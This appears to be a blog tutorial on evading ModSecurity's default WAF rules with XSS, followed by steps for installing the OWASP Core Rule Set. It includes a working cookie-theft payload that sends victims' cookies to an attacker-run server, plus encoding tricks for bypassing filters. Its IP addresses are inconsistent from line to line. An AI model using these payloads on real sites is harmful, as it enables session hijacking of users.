ModSecurity is a rule-based Web Application Firewall (WAF) which is most commonly deployed to provide protections against generic classes of vulnerabilities using the OWASP ModSecurity Core Rule Set (CRS). However, if instead of OWASP CRS the default (weaker) ruleset is used, then it can be circumvented in certain cases.
ModSecurity Filter Evasion
If your payload happens to get pasted into
document.cookie, you can do it like this:
Let’s assume that we want to access our cookie and on the vulnerable website we have code like this:
<?php echo "<script>alert('".$_GET['user_input']."')</script>";?>
If there was no Web Application Firewall (WAF) in the way, then we could simply inject
' + document.cookie + '
Where the resulting script would be
<script>alert('' + document.cookie + '')</script>
However, ModSecurity’s default configuration disallows the string
document.cookie. Therefore, we need to reference the cookie object without using that particular string.
An easy way to accomplish this is to use the aforementioned global objects. For example, this injection would bypass ModSecurity’s default filter:
' + self['document']['cookie'] + '
It wouldn’t be a complete example without showing how to actually snatch cookies from other users for yourself.
A common way to get the cookies is to run an HTTP server (like Apache or Nginx) on your machine. You will then access the victim’s cookie as shown before, but instead of
alerting it out, we will request an image from our server, where the URL is the value of the cookie. Here’s how it works step by step:
First, we run an HTTP server. For this we can install Nginx or Apache, or we can simply use Python’s module for it, like I’ve done here:
python -m SimpleHTTPServer 80
This starts an HTTP server on port 80 on our machine.
Second, we will access the victim’s cookie using the evasion method by setting
user_input to be the following (remember that this would need to be urlencoded):
'); var cookie=self['document']['cookie'] //
Breaking the injection down piece by piece:
var cookie=self['document']['cookie']stores the cookie in the variable
//comments out everything after our code, making sure there are no errors from invalid syntax
Third, we will create an image with the cookie value embedded inside the URL, and make a request to our server.
Let’s say our ip address is 184.108.40.206. Then the final payload would look like this:
'); var cookie=self['document']['cookie']; var img=new Image(); img.src="http://220.127.116.11/?cookie=" + cookie; document.body.append(img) //
var img=new Image();creates a new image
img.src="http://18.104.22.168/?cookie=" + cookie;sets the source of the image to our server, and sends the cookie along with the request
document.body.append(img)adds the image to the document body.
It’s possible to get more advanced with this to fool better filters than the default filter on ModSecurity. Here are some examples:
1) We can split the strings
2) We can hex-encode the strings
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"] <– the same as self[‘document’][‘cookie’]
In addition to these simple examples, we can get even more complex. We can for example base64 encode our payload, use
self['eval'], use jQuery or use
Object.keys to avoid having to reference our object by name whatsoever. For further reading on the subject, I recommend this great article.
Here we will assume ModSecurity has already been installed with Apache and you simply wish to replace the default ruleset with a more comprehensive one.
First, gain sudo privileges
Second, backup the old ruleset folder in case anything goes awry
mv /usr/share/modsecurity-crs /usr/share/modsecurity-crs.bk
Now clone the updated ruleset repository using Git
git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git /usr/share/modsecurity-crs
Let’s use the default configuration
cp /usr/share/modsecurity-crs/crs-setup.conf.example /usr/share/modsecurity-crs/crs-setup.conf
/etc/apache2/mods-enabled/security2.conf file with the following contents:
<IfModule security2_module> SecDataDir /var/cache/modsecurity IncludeOptional /etc/modsecurity/*.conf IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load IncludeOptional /usr/share/modsecurity-crs/*.conf IncludeOptional /usr/share/modsecurity-crs/rules/*.conf </IfModule>
Finally, restart the service so the changes take effect.
service apache2 restart
When using Web Application Firewalls, we should always make sure that they’re updated with the latest ruleset. Otherwise, given the right circumstances, they may be relatively easy to evade using global variables.